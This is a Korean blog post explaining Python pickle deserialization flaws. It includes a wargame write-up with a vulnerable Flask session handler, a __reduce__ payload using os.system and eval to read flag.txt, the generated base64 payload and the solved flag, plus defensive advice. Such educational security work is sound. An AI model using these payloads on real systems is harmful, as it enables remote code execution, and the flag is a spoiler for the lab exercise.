Python(pickle) Deserialize 취약점

Moon Junsu·2025년 7월 14일
post-thumbnail

1. 직렬화 / 역직렬화

📦 직렬화 (Serialization)
파이썬 객체(예: 딕셔너리, 리스트 등)를 파일이나 문자열, 네트워크로 보낼 수 있는 형태로 변환하는 것

예시: 딕셔너리를 바이트 형태로 바꿔서 파일에 저장하거나, 네트워크로 전송할 때 사용

🔄 역직렬화 (Deserialization)
직렬화된 데이터를 다시 파이썬 객체로 복원하는 것

2. pickle이란?

Python에서 제공하는 직렬화/역직렬화 라이브러리

pickle.dumps() → 직렬화

pickle.loads() → 역직렬화

⚠️ 3. 왜 pickle이 위험한가?

이유: pickle은 객체를 복원할 때, 내부적으로 '코드'도 실행될 수 있다.

import os, pickle

class Evil:
    def __reduce__(self):
        return (os.system, ("echo HACKED!",))

payload = pickle.dumps(Evil())
pickle.loads(payload)  # → 명령어 실행됨

reduce()는 객체를 어떻게 복원할지를 정의하는 메서드이고 복원하면서 os.sytem()과 같은 명령어도 실행이 된다.

즉 pickle.loads()가 RCE로서 동작하는 위험이 존재한다.

4. Exploit

  1. 공격자가 악성 객체를 pickle로 직렬화함
  2. 그것을 서버에 제출하거나, 파일로 저장되게 함
  3. 서버가 pickle.loads()로 복원함 -> RCE 실행
  4. 공격자가 원하는 명령 실행

5. 방어 방법

  • pickle.loads() 사용 금지
  • json 사용
  • 서명/검증 추가
  • pickle.load()에 Whitelist 제어

현재 pickle은 공식적으로 '신뢰할 수 없는 데이터에 절대 사용하지 말라'고 권고 되어 있다. 실무/산업계에서도 pickle 사용 자제 권고가 되어있다.

6. 워게임 문제 및 풀이 ( web-deserialize-python )

#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

INFO = ['name', 'userid', 'password']

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

app.run(host='0.0.0.0', port=8000)

pickle이 사용된 서버가 주어진다.

웹 페이지는 위와 같고, 정보를 입력하게 되면 info에 담겨 pickle.dump로 직렬화되어 저장이 된다.

이렇게 만들어진 세션은 이제 check_session에서 확인해보면

pickle.loads를 통해 역직렬화 되어 데이터로서 나타난다.

그렇다면 우리는 알고있는대로 Exploit을 해보도록 한다.
먼저 악성 객체를 만들어본다. ( 1번 악성 객체 직렬화 )

import pickle
import base64
import os
import requests

class Exploit:
    def __reduce__(self):
        data="open('./flag.txt').read()"
        return (eval, (data,))

payload = {
    "name": Exploit(),
    "userid": "moons",
    "password": "1234"
}

session_value = base64.b64encode(pickle.dumps(payload)).decode()
print(f"[+] Generated session:\n{session_value}\n")

위의 코드는 pickle을 이용하여 동일하게 name에 flag.txt를 읽는 악성 객체를 삽입하는 과정이다.

또한 원래 서버에서 base64를 이용해서 인코딩 및 디코딩을 하고 있으므로 세션값을 base64로 인코딩한다.

결과로 gASVYwAAAAAAAAB9lCiMBG5hbWWUjAhidWlsdGluc5SMBGV2YWyUk5SMGW9wZW4oJy4vZmxhZy50eHQnKS5yZWFkKCmUhZRSlIwGdXNlcmlklIwFbW9vbnOUjAhwYXNzd29yZJSMBDEyMzSUdS4=
이와 같은 base64값을 얻었다.

이제 check_session에 가서 값을 제출해보도록 하겠다. ( 2번 제출 )

flag.txt를 읽는 RCE가 실행되어 FLAG값을 가져오게 되었다. ( RCE 실행 )

FLAG : DH{a6daba2e0cc5b22fed1aaf44d10a45a0}

profile
보안 인프라 엔지니어

0개의 댓글